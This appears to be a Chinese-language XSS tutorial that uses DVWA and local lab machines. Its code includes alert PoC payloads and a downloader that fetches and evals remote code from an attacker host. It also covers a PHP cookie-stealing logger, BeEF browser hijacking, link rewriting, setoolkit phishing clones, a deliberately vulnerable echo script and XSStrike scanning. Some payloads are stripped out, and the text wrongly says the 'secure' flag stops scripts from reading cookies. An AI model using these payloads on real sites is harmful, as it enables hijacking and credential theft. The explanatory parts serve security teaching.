XSS是OWASP TOP 10 之一。
XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。
XSS通过将精心构造的JS代码注入到网页(服务器上)中,并由浏览器(客户端)解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。所以说XSS是一种被动的攻击。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的攻击对象是用户和浏览器。
总结:XSS漏洞发生在服务器!需要被攻击者主动触发!
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。
也就是说攻击者可以在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
来获取cookie值XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种:
我们可以用一段简单的代码,验证和检测XSS 漏洞的存在,这样的代码叫做PoC(Proof ofConcept)。
PoC:漏洞的验证和检测代码。
EXP:漏洞的完整利用工具。
shellcode:利用漏洞时所执行的代码。
payload:有效载荷
验证XSS 漏洞存在的PoC 如下:
<script>alert(/xss/)</script> 常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script "'Oonn> 看过滤了什么
我们发现,提交的代码,被当作字符串输出在HTML页面中,浏览器会根据
标签识别为JS
语句,并会执行它,执行弹窗操作。也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性。
标签。利用[<>]构造HTML/JS
,这是比较常用的方式。xss.js 的内容如下:alert('xss.js');
特点:js 代码可以放在我们本地的服务器里,注入的时候不用再写一大堆代码了,只需要用链接即可
注意:使用http协议直接访问js 文件时会返回纯文本。
我们也可以使用js 中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。
windows.location.hash会获取URL 中#后面的内容,例如:http:// domain.com/index.php#comeon
, windows.location.hash的值就是#comeon
所以我们可以构造如下代码:
?name=#alert(/this is windows.location.hash/)
,直接提交到测试页面
XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
在使用XSS Downloader之前需要一个我们自己的页面,xss_downloader.php,内容如下:~~~BOF|alert(/xss/)|EOF~~~
常见的下载器如下:
<script>
function XSS() {
if (window.XMLHttpRequest) {
a = new XMLHttpRequest() ;
}else if (window.ActiveXObject) {
a = new ActiveXObject( "Microsoft.XMLHTTP");
else {
return;}
a.open('get',' http://IP/目录/xss_downloader.php',false) ;
a.send() ;
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS() ;
</script>
注意:Ajax 受同源策略的限制,为了解决这个问题,我们需要在服务端代码中加入几句代码:
header ('Access-Control-Allow-Origin: *') ;
header ('Access-Control-Allow-Headers: Origin, X-Requested-with, Content -Type,Accept') ;
?>
我们可以把She llcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。
在实战过程中,可以将自己的名字注册成xss 代码,别人一访问你的主页,主页肯定会打印你的名字然后就会执行这段js 代码。
beef 是一款XSS 漏洞的利用平台,是个XSS 神器。
我们要使用beef 来进行浏览器的劫持
由于最新版的kali好像没有自带这个软件,使用apt-get install beef-xss
命令进行安装
安装完成之后进入beef 的安装目录:/usr/share/beef-xss/
由于beef 的启动不让用默认的用户名和密码,会启动失败
所以我们要修改配置文件来更改用户名和密码,修改之前建议备份一个
修改完之后启动:beef-xss
或者是进入安装目录下执行./beef
启动之后会自动在浏览器打开控制界面
登录后台管理控制台:
启动之后会自动生成web 控制台:http://127.0.0.1:3000/ui/panel
以及Shellcode:里面包含了自动生成的钩子hook.js
只要谁运行了这段Shellcode,对应的网站就会被钩子钩住,然后出现在管理控制台中!
还有访问这个测试页面http://127.0.0.1:3000/demos/butcher/index.html
也会出现在管理控制台中
例如:我用本机来访问
查看控制台:
这时候浏览器已经被劫持了!我们可以使用命令来操控对方的浏览器:
例如:我们可以使用重定向命令让对方访问我们想要它访问的页面
注意:测试网页一退出就会直接下线,不能进行操作了
我们在DVWA 中打开存储型的XSS 输入Shellcode:
我们提交了之后会刷新页面,只要一刷新页面,js会立即执行,然后我们就被劫持了
在其他虚拟机里使用不同的账号访问同样的页面:
发现也会被劫持:
拿到cookie之后就可以实现cookie欺骗
我们可以在浏览器中写入cookie来绕过登录验证:
由于DVWA登录之后才能够使用,我们用其他浏览器直接访问XSS 漏洞页面会重定向到登陆界面
我们写入cookie
再进行访问:
存在反射型XSS 漏洞的站点可以利用以下链接来盗取Cookie
url?uname=
将链接发送给用户,用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。
cookie.php代码:
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);//将得到的cookie存储在文件中
?>
例:
用户直接访问http://192.168.35.129/DVWA-master/vulnerabilities/xss_r/?name=#
进行提交
会重定向到我们的页面:
查看截取到的cookie
截取到cookie之后,我们就可以使用它的身份来访问他的主页,上传webshell,提高权限。
window.onload
:当窗口加载时,会执行
使用for循环遍历所有获得的链接a标签:
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(var i = 0;i < link.length;i++){
link[i].href = "http://....com";
}
}
</script>
将篡改代码注入到对应的XSS 位置。
这里的url链接我们可以替换成我们想要增加流量的页面(例如:微博增加访问量)或是恶意链接。
使用setoolkit 工具克隆网站
输入y之后进入界面:
会有选项:我们先选择1,然后2,再是3,然后选择2就进入了克隆网站的功能,回车后输入要克隆的url
复制成功后我们进行访问:
我们在存储型的XSS 进行演示:
输入:,直接重定向到我们自己的网站
用户在不知情的情况下进行了账户密码的提交(页面不会跳转会自动刷新),就会被我们看到:
XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。
在设置cookie的时候,将secure 设置为true,就可以防止js 读取cookie值
setcookie(name,value,expire,path,domain,secure)
XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外XSstrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。
项目地址:https://github.com/s0md3v/XSStrike
由于XSStrike只可以运行在python 3.6以上版本,所以必须使用python3.6版本。
输入python3 来查看自己的版本(没安装的先安装):
然后安装pip:
然后将项目克隆到本地:
再安装requirements.txt里面要求的一些组件,不然会开启失败
再给执行权限:
这时候就可以通过执行这个py脚本来运行了(注意要用python3启动)
我们先建立一个具有反射型XSS 漏洞的php脚本:
<html>
$n = $_GET['n'];
echo $n;
?>
</html>
这里加上html标签才能扫描成功,不知道为什么…
不加是这样的:
加了之后正常:
使用生成的payload去检测:
发现弹窗